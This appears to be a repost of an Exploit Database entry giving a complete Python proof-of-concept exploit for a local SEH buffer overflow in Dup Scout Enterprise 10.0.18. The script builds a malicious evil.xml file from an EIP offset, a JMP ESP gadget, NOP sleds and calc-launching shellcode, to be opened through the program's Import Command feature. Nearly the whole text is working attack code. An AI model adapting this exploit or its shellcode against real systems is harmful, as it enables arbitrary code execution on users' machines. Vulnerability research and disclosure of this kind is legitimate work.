Dup Scout Enterprise 10.0.18 – ‘Import Command’ Local Buffer Overflow

• Exploit Database
• 36 阅读

• 作者： Touhid M.Shaikh
  日期： 2017-09-29
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42921/

• #!/usr/bin/python
  
  #========================================================================================================================
  # Exploit Author: Touhid M.Shaikh
  # Exploit Title: Dup Scout Enterprise v10.0.18 "Import Command" Buffer
  Overflow
  # Date: 29-09-2017
  # Website: www.touhidshaikh.com
  # Contact: https://github.com/touhidshaikh
  # Vulnerable Software: Dup Scout Enterprise v10.0.18
  # Vendor Homepage: http://www.dupscout.com
  # Version: v10.0.18
  # Software Link:
  http://www.dupscout.com/setups/dupscoutent_setup_v10.0.18.exe
  # Tested On: Windows 7 x86
  #
  #
  # To reproduce the exploit:
  # 1. right Click, click on Import Command
  # 2. select evil.xml , Booom Calc POPED up.. ;)
  #========================================================================================================================
  
  
  import os,struct
  
  #offset to eip
  junk = "A" * (1560)
  
  #JMP ESP (QtGui4.dll)
  jmp1 = struct.pack('<L',0x651bb77a)
  
  #NOPS
  nops = "\x90"
  
  #LEA EAX, [ESP+76]
  esp = "\x8D\x44\x24\x4c"
  
  #JMP ESP
  jmp2 = "\xFF\xE0"
  
  #Jump short 5
  nseh = "\x90\x90\xEB\x05"
  
  #POP POP RET
  seh = struct.pack('<L',0x6501DE41)
  
  #CALC.EXE pop shellcode
  shellcode =
  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
  
  
  # FINAL PAYLOAD
  buf = junk + jmp1 + nops * 16 + esp + jmp2 + nops * 90 + nseh + seh + nops
  * 10 + shellcode
  
  
  #FILE
  file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf +
  '\n</classify>'
  
  
  f = open('evil.xml', 'w')
  f.write(file)
  f.close()